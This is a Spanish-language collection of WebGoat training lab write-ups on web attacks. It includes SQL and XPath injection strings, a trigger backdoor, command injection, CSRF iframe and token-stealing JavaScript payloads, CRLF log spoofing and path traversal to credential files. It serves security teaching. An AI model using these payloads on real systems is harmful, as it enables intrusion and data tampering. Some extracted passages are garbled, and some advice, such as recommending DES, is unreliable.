Vista previa del material en texto
Add Data With SQL Injection
Introduction
En este laboratorio se mostrara brevemente como insertar datos a una base de datos
mediante una inyección SQL
Objetivo
Agregar un nuevo registro en la base de datos
Desarrollo
Tenemos el mismo campo a atacar, en este campo será inyectada una instrucción que será
interpretada por la base de datos de manera limpia para cometer nuestro objetivo:
Se tienen los siguientes usuarios registrados en la base de datos, lo que se pretende es agregar
un nuevo registro mediante la inyección de código SQL.
Se ingresara la siguiente consulta que nos permitirá agregar un nuevo usuario en la tabla:
jsmith'; INSERT INTO SALARIES VALUES ('malicioso',50000)—
Al inyectar la instrucción y ejecutar la consulta no se mostrara nada en los resultados:
Procedemos a listar de nuevo todos los usuarios:
Notaremos que hemos logrado agregar un nuevo usuario llamado “malicioso”.
Conclusiones
Basic Authentication
Objetivo
Entender e identificar los componentes críticos de una autenticación básica.
Desarrollo
Como estamos navegando por una aplicación web protegida por autenticación básica, al momento
de realizar cualquier acción las credenciales de usuario serán transparentes para el usuario final.
Siempre habrá autenticación, solo que el navegador esconde esa parte facilitándole la vida al
usuario final. Presentamos un formulario X:
Al momento de hacer clic en Submit, capturaremos la petición con webscarab:
Veremos entonces que el nombre llamado “Autorization” pertenece al campo en el cual estarán
alojadas las credenciales
El valor de las credenciales se encuentra cifrado en BASE64, por lo que toca decodificarlo
utilizando un transcoder presente en la herramienta webscarab:
A continuación ingresamos las credenciales cifradas y procedemos a decodificarlo mediante el
botón “Base 64 Decode”
Vemos entonces que el valor de las credenciales para el campo Autorización es “guest:guest”
A continuación tomaremos una petición cualquiera al sitio y borraremos el campo Authorization y
el campo JSESSIONID, esto con el fin de forzar al servidor para pedir de nuevo las credenciales.
El servidor web negociara nuevamente una autenticación para poder mostrar el contenido
solicitado.
Nos autenticarnos como usuario basic:basic
Vemos que en el campo JSESSIONID tiene el mismo valor, pero el campo Authorization tiene
ahora las credenciales codificadas en base64 del usuario “basic”
A continuación capturaremos otra petición y cambiaremos el campo JSESSIONID, esto con el fin
de adulterar la sesión.
Cuando enviemos la petición con la nueva cookie, nos habremos autenticado de manera exitosa con
nuestro usuario “basic”, a continuación seremos redireccionados a la página de bienvenida de
nuestra aplicación.
Al capturar la petición nos daremos cuenta entonces que la Hash de la cookie ha cambiado.
Nos dirigiremos al apartado de la prueba para comprobar nuestra autenticación.
Conclusiones
El mecanismo de autenticación básica es muy vulnerable a ataques de hombre en el medio
El cifrado utilizado por los navegadores actuales no garantiza confidencialidad en el envío de las
credenciales.
Base 64 está obsoleto como mecanismo de cifrado
Obtener la identificación de una session podría utilizarse para ingresar de manera no autorizada y
suplantar a un usuario.
Command Injection
Se presenta una lista selección a la cual se le inyectara un comando que será interpretado
por el sistema operativo que aloja la aplicación.
Estamos usando una aplicación de firefox llamada tamper, es similar al paros proxy con la
ventaja de que no necesita configurarse el proxy, se pueden modificar las peticiones al
antojo y es más sencilla de manejar.
A continuación mostramos entonces la petición que se genra al hacer clic sobre el botón
“view”
Insertaremos un comando llamado ping, esto para demostrar que la aplicación permite la
inyección y ejecución de comandos del sistema operativo
“ & ping www.google.com
Debemos codificarlo como url para ingresarlo en la petición:
http://www.google.com/
%22+%26+ping+www.google.com
Ingresamos la inyección codificada en el parámetro HelpFile y hacemos clic en aceptar.
Al esperar por un momento notaremos que nuestra aplicación hizo el ping a google.com lo
que quiere decir que efectivamente la aplicación permite la ejecución remota de comandos.
CSRF – ByPass
Objetivo
Hacer que el usuario ejecute una acción mediante la implementación de un formulario de
autorización.
Desarrollo
Se presenta el siguiente formulario de autenticación:
Lo que haremos será en basarnos en la petición que armamos anteriormente y dirigirnos a ella:
"http://localhost/webgoat/attack?Screen=13&menu=900&transferFunds=4000”
Nos aparecerá el siguiente dialogo de confirmación:
Miraremos el código de fuente la página y veremos que formulario luce de la
siguiente manera:
<form accept-charset='UNKNOWN' method='POST' name='form'
action='attack?Screen=6&menu=900' enctype=''>
<h1>Electronic Transfer Confirmation:</h1>Amount to transfer: 4000
<br>
<form accept-charset='UNKNOWN' method='POST' action='attack?Screen=6&menu=900'
enctype='application/x-www-form-urlencoded'>
<input name='transferFunds' type='submit' value='CONFIRM'>
<input name='transferFunds' type='submit' value='CANCEL'></form></form>
Por lo que observaremos que la petición que permite la aprobación de las
transacciones es la siguiente:
attack?Screen=6&menu=900&transferFunds=CONFIRM
Armaremos una petición y la incrustaremos en el formulario:
La petición es la siguiente:
<iframe
src="http://localhost/webgoat/attack?Screen=6&menu=900&transferFunds=4000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='http://localhost/webgoat/at
tack?Screen=6&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
La primera parte del frame ejecutara la petición de la transferencia de fondos
por 4000, el segundo frame confirmara la transacción sin necesidad de que el
usuario intervenga mediante el valor CONFIRM que es asignado al campo
“transferFunds”
Haremos clic en el Botón Submit y luego verificaremos nuestro mensaje.
Notaremos entonces que las dos peticiones fueron realizadas de manera exitosa.
Conclusiones
La mejor manera de prevenir los ataques CSRF es mediante el uso de peticiones
POST
La confirmación de la transacción es invisible para el usuario
La idea del CSRF Bypass es la de ejecutar las confirmaciones de manera
automática.
CSRF Token By-Pass
Algunas peticiones requieren de parámetros o tokens para armar una petición completa. Se pretende
presentar un ataque de CSRF implementando una petición que permita el paso de parámetros de
manera automática.
Objetivo
Ejecutar una acción mediante el paso de parámetros o tokens.
Desarrollo
Ingresaremos a la siguiente página:
“http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=main”
A continuación nos mostrara el navegador el siguiente formulario el cual contiene un pequeño
campo para enviar un parámetro
Tomamos el fragmento del código que realiza la petición:
<form accept-charset='UNKNOWN' method='POST' name='form' action='attack?Screen=2&menu=900'
enctype=''><h1>Electronic Transfer:</h1>
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=2&menu=900'enctype='application/x-www-form-urlencoded'>
<input name='transferFunds' type='text' value='0'><input name='CSRFToken' type='hidden' value='-
551665898'><input type='submit'></form>
A continuacion insertaremos la siguiente petición en java script para poder realizar el ataque:
<script language="javascript">
<!--
var tokenvalue;
http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=main
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("Form")[0];
var token = form.CSRFToken.value;
tokenvalue = '&CSRFToken='+token;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=400
0"+tokenvalue;
}
</script>
<iframe
src="http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
Lo insertaremos en el formulario
Hacemos clic en Submit y luego en la lista de mensajes haremos clic en el nuestro, y nos
encontraremos con lo siguiente:
Vemos que las peticiones se han ejecutado de manera correcta. El paso mediante Tokens se realizo
de manera exitosa.
Conclusión
El token es capturado antes de ser armada la petición.
No difiere mucho de los otros ataques basados en CSRF.
Cross Site Request Forguery
Objetivo
Hacer ejecutar una petición al usuario víctima mediante el envío de un correo electrónico.
Desarrollo
Estos ataques son basados en webmails, la finalidad de un ataque basado en CSRF es permitir la
ejecución de una petición en una sesión válida para el atacante.
Presentamos a continuación el siguiente formulario de correo electrónico, el formulario ya está
lleno, en el campo llamado “Title” dice “Prueba”, mas adelante explicaremos el campo
perteneciente al cuerpo del mensaje.
El cuerpo del mensaje perteneciente al campo Message contiene el siguiente código que simula ser
una imagen, pero que al ser cargada se convertirá en una petición la cual transferirá fondos por 4000
a una cuenta X:
<img src="http://localhost/webgoat/attack?Screen=13&menu=900&transferFunds=4000"
width="1" height="1"/>
Haremos clic en el botón “Submit” y a continuación veremos que en la lista de mensajes aparecerá
un correo llamado “Prueba”
Haremos clic en el mensaje llamado “Prueba” y notaremos a continuación que webscarab capturara
la siguiente petición:
La
petic
ión
GET
que
mue
stra
el
comi
enzo
de la
ilustr
ació
n es
verá nada.
la porción de código que se envió en el formulario simulando ser una imagen. Ahora, todo será
transparente para el usuario ya que si es víctima de este tipo de ataque a simple vista no
Conclusiones
CSRF es invisible para el usuario a no ser que intercepte todas las peticiones mediante un web
proxy
Se puede realizar acciones autorizadas por la sesión que se encuentra utilizando solamente el
usuario víctima
Elaborar una petición CSRF puede requerir de mucho tiempo cuando son peticiones dependientes
de muchos parámetros
Se deberían deshabilitar la inclusión de tags como el de la imagen o el de enlaces en los webmails.
Database Backdoors
Introducción
Los disparadores permiten ejecutar acciones inmediatamente después se realiza otra en una
base de datos, en este pequeño laboratorio se mostrara como realizar una inyección de código
SQL para crear un disparador en la base de datos.
Objetivo
Mediante SQL Injection crear un disparador en la base de datos
Desarrollo
Se tiene el siguiente campo el cual será atacado para crear un disparador (trigger)
Insertamos una sentencia para cambiar el salario de toda la tabla llamada empleados.
101; update employee set salary=10000
Se ha logrado cambiar el salario de todos los empleados
Insertaremos este disparador que su función es poner como correo electrónico
pablo@uao.edu.co cada vez que se inserte un nuevo empleado al registro.
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW
BEGIN UPDATE employee SET email='pablo@uao.edu.co'WHERE userid =
NEW.userid
mailto:pablo@uao.edu.co
Failed To restrict URL Access
Este problema se presenta cuando se desprotege una sección que debería estar restringida por
cualquier persona que accede a la aplicación. Paginas que muestren información de la aplicación o
que contengan funcionalidades las cuales requieran privilegios de administrador son algunos
ejemplos.
Objetivo
Acceder sin ningún tipo de autenticación a un archivo sensible de una aplicación web que contenga
una acción administrativa.
Desarrollo
El siguiente escenario pertenece a un Webchat el cual se encuentra en línea las 24 horas del día y
que es el principal atractivo para la socialización de un negocio dedicado al entretenimiento radial.
El usuario accede al chat a través de la siguiente dirección: http://www.atacame.com/chat
El usuario mal intencionado descubre a través de nikto que el sitio tiene al descubierto un archivo
de instalación de la aplicación que podría causar el apoderamiento de la aplicación por parte del
atacante accediendo al siguiente archivo con la siguiente URL:
http://www.atacame.com/chat/install.php?
Lo que se mostrara a continuación será la funcionalidad que permitirá al atacante causar la
reinstalación de todos los componentes de la aplicación:
http://www.atacame.com/chat
http://www.atacame.com/chat/install.php
Podemos ver que algunos permisos que pertenecen a secciones críticas de la aplicación no están
bien asignados ya que contienen permisos de escritura para usuarios invitados como el directorio
“/inc/config.php” y permisos de ejecución como los tiene el directorio
“/bot/programe/src/botinst”
En la parte baja (que no se alcanza a ver) se encuentra un botón (continuar) que llevara al atacante
realizar la instalación controlada de la aplicación.
A continuación veremos entonces la información perteneciente a la base de datos que utiliza la
aplicación:
Notare
mos
entonc
es que
la
infor
mació
n ya
se
encue
ntra
sumin
istrada
en el
u
o por los asteriscos? La respuesta es: Interceptando la
etición a través de Webscarab u otro web proxy.
la contraseña para el ingreso a la base de datos es
form
lario de instalación. ¿Que haremos si lo que necesitamos es averiguar de paso la contraseña de la
base de datos detrás del campo protegid
p
Veremos entonces en el campo sombreado que
“1053” y que pertenece al campo “password”.
nte
rar
o tal:
ón
e la aplicación:
term
r
ó
or
Se pide a continuación confirmación para reescribir todas las tablas existentes en la base de datos
El
siguie
paso
consiste en
configu
el chat
com
Se procede entonces
con la re-instalaci
d
Hem
os
inad
o de
reins
tala
la
aplic
aci
n,
ah
a
vem
os
com
o el
final
de la
aplic
ación nos muestra nuevas credenciales las cuales nos permitirá ser el administrador de la
aplicación:
o se asignaron los permisos de escritura y ejecución de la manera más adecuada al momento de
alizar la primera instalación de la aplicación
No hubo restricción de acceso para el archivo a proteger “install.php”
Lo más recomendable al momento de finalizar la instalación de la aplicación era borrar el archivo
instalador.
Conclusión
Esta clase de vulnerabilidades se presentanpor errores del administrador de la aplicación.
N
re
Forgot Password
Objetivo
Adivinar la contraseña del administrador a través de la funcionalidad de pregunta secreta.
Desarrollo
Se muestra a continuación un campo donde se pide el nombre del usuario a atacar:
En este caso ingresamos el usuario “admin”:
Hacemos clic en el botón “submit” y a continuación nos aparecerá la pregunta secreta:
En este caso la pregunta es ¿Cual es tu color favorito?
Probando con todos los colores existentes se pudo determinar que el color verde es el preferido por
el usuario admin:
y nos indicara entonces la contraseña perteneciente al usuario:
Conclusiones
Se implementa un mecanismo que es muy débil ya que carece de controles como por ejemplo:
-Un código de verificación en el formulario para prevenir ataques de fuerza bruta
-Implementar dentro del algoritmo una opción para enviar la contraseña al correo personal del
usuario.
Insecure Criptographic Storage
Con este laboratorio se pretende mostrar las falencias de administración y problemas de
implementación por parte de los programadores al momento de construir una aplicación web. Se
dejara en evidencia como algunos administradores de sistemas desprotegen los archivos sensibles
de una aplicación web, los cuales pueden ser descargados por un usuario mal intencionado sin
ninguna dificultad, también se mostrará cómo este podrá descifrar con habilidad las contraseñas que
se encuentran presentes con la mayor facilidad ya que algunos programadores no implementan
algoritmos de cifrados fuertes.
Objetivo
Demostrar las falencias de cifrado que presentan archivos sensibles dentro de las aplicaciones web.
Desarrollo
Un usuario malintencionado se entera que puede bajar la base de datos entera de la aplicación web
la cual desea atacar, para ello se dirige al archivo donde se encuentra el premio:
http://127.0.0.1/webgoat/desprotegido.sql
A continuación el atacante procede a abrir el archivo y enseguida localiza la tabla de usuarios donde
se obtiene el usuario “root” pero que posee una contraseña un poco difícil de adivinar ya que se
encuentra cifrada en un algoritmo llamado SHA-1:
El nombre de usuario y contraseña respectivos son los siguientes:
'root', '*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9'
El atacante recurre a consultar su ese hash de la cuenta root se encuentra en una base de datos
mundial, por lo cual procede a buscarla en un sitio online: http://hashcrack.com/index.php
http://127.0.0.1/webgoat/desprotegido.sql
http://hashcrack.com/index.php
A continuación se entera que la contraseña para root es “123456”
Conclusiones
Otro método de descifrar contraseñas es mediante la fuerza bruta, pero requiere de mucho
procesamiento
La forma más rápida es utilizar tablas de registro, las cuales tienen una hash idéntica a la que se
quiere adivinar, seguida de su significado en texto plano.
SHA-1 está un poco obsoleto
Se recomienda DES o 3DES
Se desprotegen archivos muy sensibles, en este caso una base de datos completa.
Insecure Direc Object references
Este tipo de de ataques se produce cuando un usuario malintencionado hace referencia o modifica la petición para
acceder a un documento, carpeta o registro no autorizado.
Por lo general estos errores se cometen gracias al programador de la aplicación que no establece muy bien los
permisos de cada usuario que tiene acceso, no clasifica los niveles y permisos de los ficheros contenidos en el servidor.
Un ataque de referencia directa a un objeto se realiza de la siguiente manera: Se expone la siguiente petición a un
servidor web donde se desea visualizar el contenido del archivo “pagina.html”
http://victima/index.asp?item=pagina.html
Un usuario mal intencionado puede modificar la petición al hacer referencia a una carpeta u otro tipo de archivo:
http://victima/index.asp?item=archivo.sensible
También el usuario puede modificar dicha petición utilizando un ataque conocido como “directorio transversal”
http://victima/index.asp?item=../../../../Windows/Repair/SAM
Como prevenirse?
Lo más recomendable para prevenir este tipo de ataques es implementar un árbol de contenido el cual permita hacer
una referencia directa solo a los archivos que están permitidos a ser visualizados por los usuarios:
http://victima/index.asp?item=3
Prevenir y evitar caracteres especiales en las peticiones como “/” o “\” esto con el fin de prevenir los ataques de
directorios transversales.
Evitar el paso de nombres de archivos como parámetros
Asignar de la mejor manera los permisos contenidos en la carpeta tanto de la aplicación como la del resto del servidor.
Tomado de:
https://lab.cs.ru.nl/laquso/4.Insecure_Direct_Object_Reference
http://victima/index.asp?item=pagina.html
http://victima/index.asp?item=archivo.sensible
http://victima/index.asp?item=../../../../Windows/Repair/SAM
http://victima/index.asp?item=../../../../Windows/Repair/SAM
https://lab.cs.ru.nl/laquso/4.Insecure_Direct_Object_Reference
Log Spoofing
Objetivos
Autenticarse en la aplicación web remota modificando el archivo que hace seguimiento a los
logs de la aplicación
Agregar e inyectar código mal intencionado en la aplicación web
Escenario
Aplicativo web corriendo en un servidor al cual se accede mediante un navegador web.
Desarrollo
Se presenta el formulario de autenticación de usuarios:
El formulario contiene 2 campos: Uno para el nombre de usuario y otro para la contraseña,
también tiene una caja de texto gris que hace referencia a un archivo de texto en la aplicación
para monitorizar todos los intentos de acceso.
Probaremos ingresando un nombre de usuario llamado “Prueba”
Podemos ver entonces que los campos “username” y “password” contienen las credenciales
que permitirán loguearnos en la aplicación.
A continuación veremos que nuestro usuario no es aceptado por la aplicación, pero nuestro
cuadro de texto gris nos indicara el nombre del usuario con el cual intentamos acceder. Por lo
tanto lo que debemos hacer es engañar al fichero de registro haciendo creer que nos
autenticamos en la aplicación.
Para eso ingresaremos la instrucción “Prueba%0d%0aLogin Succeeded for username:
admin”. Donde “%0d” es el retorno de carro y “%0a” es el salto de línea que nos permitirá
escribir un nuevo registro
Mientras tanto nuestro proxy detectara la siguiente petición:
En la parte baja se apreciara el código que inyectamos con anterioridad. Ahora miramos el
resultado de la consulta:
Es así como podemos entonces inyectar una línea de texto en el fichero de log el cual nos
permitirá manipular la información generada por la aplicación.
Conclusiones
‐Se manipularon los datos contenidos en el archivo
‐Se deberían omitir los retornos de carro y los saltos de línea dentro de los formularios.
‐Se deberían restringir la longitud de campo a nivel de la capa de base de datos para evitar
inyecciones antes de ser interpretadas por el gestor.
Modify Data with Sql Injection
Introducción
A continuación se mostrara como alterar información de una base de datos mediante la
inyección de instrucciones sql en una base de datos.
Escenario
Aplicación web accedida a través de un navegador web.
Desarrollo
Se presenta el siguiente campo correspondiente a la identificación del usuario el del cual se
obtendrá la información a ser manipulada:
El usuario “jsmith” tiene un salario de 65000 dls
Inyectando la consulta:
jsmith'; UPDATE SALARIES SET salary=70000 WHERE salary=65000—
Alteraremos el campo correspondiente al salario:
Luego de insertar la comilla simple “ ‘ ” se ingresa un punto y coma “;”. Este punto y coma
significa el final de una instrucción, por lo tanto la base de datos de la aplicaciónejecutara las
siguientes consultas:
SELECT * FROM salaries WHERE userid=’jsmith’; UPDATE SALARIES SET salary=70000 WHERE
salary=65000—
Lo que causara la modificación del salario del usuario jsmith.
Conclusiones
Se logro modificar un campo logrando inyectar caracteres especiales seguidos de una
instrucción SQL especial.
Multilevel Login 1
Objetivo
Asaltarse el mecanismo TAN provisto por el campo Hidden Field para poder acceder al manejo de
una cuenta ya conocida y obtenida.
Desarrollo
Presenta un formulario de acceso a una cuenta
El atacante conoce el usuario y la contraseña: “Jane:tarzan”
Escribiremos a continuación uno de los códigos provistos por la aplicación web
Completamos el login, pero nos tenemos que volver a autenticarnos ya que nuestro TAN ya está
siendo utilizado
Ahora lo que hacemos al momento de ingresar el mismo TAN es interceptar la petición.
Alteraremos el campo “hidden_tan” y pondremos su valor en 1.
Hemos accedido así de manera exitosa a la aplicación
Conclusiones
El campo “hidden_tan” almacena la información correspondiente a los códigos de verificación que
utiliza una aplicación.
Ausencia de un mecanismo de autenticación más fuerte.
Multi level login 2
Objetivos
Cambiar de usuario mientras se autentica en la aplicación web, aprovechándose del campo
“hidden_field”
Desarrollo
Tenemos a un usuario llamado “Joe” con su respectiva contraseña “banana”, el objetivo es
interceptar la solicitud que se le hace al navegador al momento de ingresar el TAN.
Tenemos el formulario de usuario:
Al pedirnos el tan, ingresaremos cualquiera de los que la aplicación nos provee, en este caso
ingresaremos el “15161”
Capturamos la solicitud
Notaremos que en la solicitud existe un campo llamado “hidden_user” aprovechamos entonces para
cambiarle al valor de “Joe” por el de “Jane”
Hemos entonces ingresado con el usuario Jane.
Conclusiones
Debilidad en el manejo de autenticación por usuarios, se cambio y se altero al valor de la petición
hecha al momento de ingresar el TAN, ingresando así otro usuario perteneciente al aplicativo.
El campo que contiene el error es “hidden_user”
Numeric Sql Injection
Objetivo
Listar información sensible de campos y registros no autorizados a ver.
Escenario
Aplicativo web corriendo en un servidor al cual se accede mediante un navegador web.
Desarrollo
Abrimos el navegador visitando el modulo vulnerable:
Vemos que al seleccionar un ítem en particular podremos hacer una consulta que arrojara
información de la temperatura.
Al interceptar las peticiones que se hacen al servidor podemos observar lo siguiente:
Es una petición POST, los parámetros que envía el formulario a la consulta son “station” y
“SUBMIT”. El campo “station” contiene el numero del país en la lista, en este caso es 101
correspondiente a Colombia.
Lo que haremos a continuación es inyectar código al campo que contiene el valor del
parámetro que será enviado para poder generar una consulta totalmente distinta.
Lo que haremos a continuación será agregarle al valor 101 la instrucción “or 1=1” de la
siguiente manera:
La instrucción “or 1=1” siempre se cumplirá!!, lo que hará entonces la aplicación web será
enviar una consulta SQL como la siguiente:
SELECT * FROM weather_data WHERE station = 101 or 1=1
Esto causara que todos los campos e items de la tabla se muestren:
Conclusiones
‐Es conocida como una inyección numérica ya que el tipo de datos que manipulamos al realizar
las consultas es numérico.
‐Se debería utilizar un filtro que permita omitir los caracteres especiales y clausulas del
lenguaje SQL.
‐El uso de validaciones de datos estuvo ausente durante el ataque.
Authentication Flaws
Password Strength
Objetivo
El objetivo del siguiente laboratorio es probar la robustez de las diferentes combinaciones de
contraseñas que la aplicación genera.
Desarrollo
La aplicación nos mostrara el siguiente formulario en el cual se encuentran descritas las
contraseñas:
La aplicación nos mostrara un link el cual es una aplicación que nos permitirá probar la robustez de
nuestras contraseñas.
A continuación nos dirigiremos a https://www.cnlab.ch/codecheck/check.php la cual será nuestra
aplicación para realizar las pruebas con la contraseña. En este caso eligiremos la última de las
contraseñas para realizar las pruebas.
La contraseña es: “z8!E?7”
https://www.cnlab.ch/codecheck/check.php
A continuación hacemos clic en el botón “Run the check”, nos aparecerá la siguiente ventana de
Confirmación, hacemos clic en “yes” y luego en el botón “continue”:
Una vez realizado el paso anterior, obtendremos los resultados:
Verificamos entonces que la contraseña es muy fuerte, ya que posee una combinación de caracteres
que amplían el espectro de búsqueda y de procesamiento para adivinarla.
A continuación se muestran las contraseñas que arrojó la aplicación con cada uno de los tiempos de
procesamiento que puede tomarle a una aplicación o a un atacante poderla adivinar.
Contraseña Tiempo Tasa (Contraseñas/segundo)
123456 0 second(s) 1'000'000
abzfez 1'394 second(s) 1'000'000
a9z1ez 5 hour(s) 1'000'000
aB8fEz 2 day(s) 1'000'000
z8!E?7 41 day(s) 1'000'000
Conclusión
Es recomendable utilizar contraseñas con las siguientes combinaciones:
Caracteres mayúsculas, caracteres en minúscula, Números y caracteres especiales.
Laboratorio: Security Misconfiguration
Desarrolladores de las aplicaciones web al momento de poner en producción sus aplicativos, no tienen en cuenta los
posibles puntos de acceso que pueden ser explotados por un usuario mal intencionado y comprometer un sistema en
totalidad. Alguno de estos errores consiste en dejar carpetas a las cuales se puede acceder a su contenido y que puede
contener información o archivos críticos para la seguridad y el normal funcionamiento de un negocio.
Directorios de administración, archivos de claves, y directorios desprotegidos son algunos de los errores que se
cometen cuando el desarrollador y el administrador del servidor web no se ponen de acuerdo al momento de revisar
todos los posibles vectores de ataque que podría tener una aplicación.
Objetivo
Ingresar a un área desprotegida por la aplicación web y que sea considerada como crítica para el negocio.
Desarrollo
La dirección URL inicial de la página es la siguiente: http://localhost/webgoat/attack
A continuación intentaremos acceder a un directorio de configuración de la aplicación:
http://localhost/webgoat/conf
Vemos entonces que hemos logrado acceder a una sección critica para la seguridad de la aplicación web (en este caso
es el modulo de configuración).
También podemos utilizar una herramienta como nikto para hacer escaneos automatizados y encontrar fallos en la
configuración de la aplicación (directorios, archivos, secciones críticas y contraseñas por defecto).
http://localhost/webgoat/attack
http://localhost/webgoat/conf
Para realizar un escaneo con nikto utilizaremos entonces la siguiente sintaxis
#nikto -h victima
Que en nuestro caso será:
#nikto -h localhost
En nuestro localhost tenemos instalada nuestra aplicación web y también es el nombre local que se le asigna por
defecto a nuestro PC.
En la salida podemos apreciar que algunos directorios de la aplicación se encuentran expuestos a posiblesataques o a
accesos por parte de usuarios mal intencionados por ejemplo, en alguno de los itérales nos indica que el recurso
“manager/manager-howto.html” puede ser accedido, por lo tanto lo que haremos será intentar acceder al recurso a
través del navegador web siguiendo la siguiente URL http://localhost/manager/manager-howto.html
http://localhost/manager/manager-howto.html
Veremos entonces que hemos logrado acceder a la documentación del modulo manejador del servidor!! Esto podría
darle al atacante ideas para poder realizar un ataque mejor elaborado y entender más a fondo como funciona su
víctima.
Conclusiones
Muchos de los aspectos por los cuales se tiende a cometer errores de configuración en las aplicaciones son los
siguientes:
No se tiene el software actualizado: Servidor web, servidor de base de datos.
Lo innecesario no se deshabilita (carpetas de instalación, puertos, servicios, paginas, cuentas y privilegios)
Las cuentas por defecto no son deshabilitadas (admin:admin) en muchas páginas por internet se pueden encontrar
listas enteras de los servidores y sus contraseñas por defecto.
Los mensajes que muestra la aplicación no son controlados de la mejor manera, lo que puede dejar al descubierto
carpetas que pueden ser aprovechadas por el atacante.
La actualización de librerías de desarrollo y de la aplicación no se realiza de manera constante y muchas veces se ven
sumidas en el total abandono.
Tomado de OWAS top 10
String Sql injection
Objetivo
En este caso se intentaran listar todos los datos de las tarjetas de crédito de los trabajadores
mediante una inyección de tipo de dato String, para ello utilizaremos nuestro navegador web
y el paros proxy
Scenario
Servidor, navegador web
Desarrollo
Se intentara listar la información de las tarjetas de crédito de todos los usuarios sin conocer el
nombre de ninguno. Para ello mostraremos el campo en el cual se ingresa el nombre del
mismo para realizar la consulta:
El parámetro que ingresamos es el apellido del usuario, la aplicación toma el parámetro y
construye una consulta como la siguiente:
SELECT * FROM user_data WHERE last_name = 'Your Name'
Lo que haremos a continuación será ingresar nuestra siguiente
inyección de tipo string, la cual necesita de nuestro character
especial “ ’ ” para ser utilizada
' or 'j'='j
Ahora, la base de datos interpretara la consulta de la siguiente
manera:
SELECT * FROM user_data WHERE last_name = '' or 'j'='j'
Y nos mostrara los datos de todos los usuarios:
Conclusiones
Implementar más parámetros a la hora de realizar consultas de carácter sensible, como por
ejemplo:
‐Un número de cuenta
‐ un identificador
‐Algún parámetro aleatorio
‐Algún parámetro biométrico
Insufficient Transport Layer Protection
Algunas aplicaciones web no implementan mecanismos de cifrado que les permitan ocultar o cifrar
la información que llegue al servidor. Es por eso que muchos atacantes aprovechan para interceptar
todo el tráfico que es recibido por la aplicación web hasta llegar al servidor.
Para esa clase de ataques conocidos como (Man In The Middle – Sniffing Pasivo) se requiere de un
simple sniffer de red, wireshark o etthercap pueden ser muy útiles.
Objetivo
Obtener las credenciales de una sesión mediante el uso de un sniffer de red.
Desarrollo
El usuario Jack desea autenticarse en la aplicación que le permite revisar saldos y modificar
transferencias, tareas cotidianas que realiza todos los días en su trabajo:
Jack muy comedidamente ingresa sus credenciales y oprime el botón “submit”, pero lo que no sabe
es que un usuario mal intencionado que se encuentra analizando su tráfico, intercepta sus
credenciales mediante el uso de un sniffer de red llamado Wireshark.
Mira muy detenidamente los paquetes que su sniffer intercepta y se detiene en uno, el cual
selecciona para revisar la información que el navegador de “Jack” a través de un POST envío al
ervidor donde se encuentra la aplicación web.
ubre una sección
erteneciente a los datos que son transportados a través del protocolo http:
l usuario mal intencionado descubre así que la aplicación web transporta los datos en texto plano!
onclusiones
a aplicación no implementa un mecanismo de transporte “seguro” de la información
SL o TLS pueden ser de gran utilidad
Se deben utilizar conexiones seguras en partes críticas de la aplicación.
s
El usuario mal intencionado analiza el paquete que el sniffer capturo y desc
p
E
C
L
S
Unvalidated Redirects And Fordwards
Esta vulnerabilidad se presenta cuando un usuario malintencionado puede sacar provecho de algún
parámetro en su sitio web que permita una redirección de sitio o comunicar con una zona en la
página a la cual se requiera permisos de administración.
La redirección se presenta cuando el atacante modifica el valor del campo url poniendo como
parámetro la dirección URL de un sitio cualquiera. Tal sitio puede ser una página maliciosa que
contenga malware e infecte a sus víctimas, también puede utilizarse este tipo de ataques para
elaborar phising.
http://www.atacame.com/redirect.asp?url=trampa.com
Algunos sitios de internet envían solicitudes a sus diferentes partes o componentes, es por eso que
un atacante se aprovecha de un “Unvalidated Forward” para alterar los parámetros y acceder a una
zona en la cual su ingreso no está permitido.
http://www.atacame.com/funcion.jsp?fordward=/admin
http://www.atacame.com/redirect.asp?url=trampa.com
http://www.example.com/boring.jsp?fwd=admin.jsp
XPATH Injection
Objetivos
Mostrar información sensible sobre otros registros involucrados en el modulo.
Escenario
Servidor web local el cual es accedido mediante un cliente web (Mozilla Firefox)
Desarrollo
Se tiene el siguiente formulario de autenticación, en el cual se incluirán las credenciales para
poder realizar una consulta la cual mostrara información del usuario X
Se probara ingresando el usuario: “Mike” y la contraseña “test123”
A continuación se muestra entonces la información correspondiente al usuario el cual
conocemos.
Estructura de una consulta XPATH
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" +
password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
La consulta XPATH se encarga de tomar los datos tomados inicialmente comparándolos asi con
datos contenidos en archivos XML. La lógica del ataque consiste en malformar la consulta
causando así una alteración en los resultados.
A continuación ingresaremos la siguiente instrucción dentro del campo de usuario: “ Smith' or
1=1 or 'a'='a “
La consulta será enviada al servidor de la siguiente manera:
expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and
passwd/text()='password']"
La consulta será interpretada por el servidor de la siguiente manera:
expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and
passwd/text()='password' ) ]"
Por lo tanto se obtendrá así la información de todo el archivo XML de usuarios
registrados:
Conclusiones
‐Se logro mal formar la consulta, debido a que la aplicación no posee un validador de consultas
destinadas a tablas XML.
‐Implementar un filtro en el servidor web que impida la manipulación de archivos mediante
condicionales.
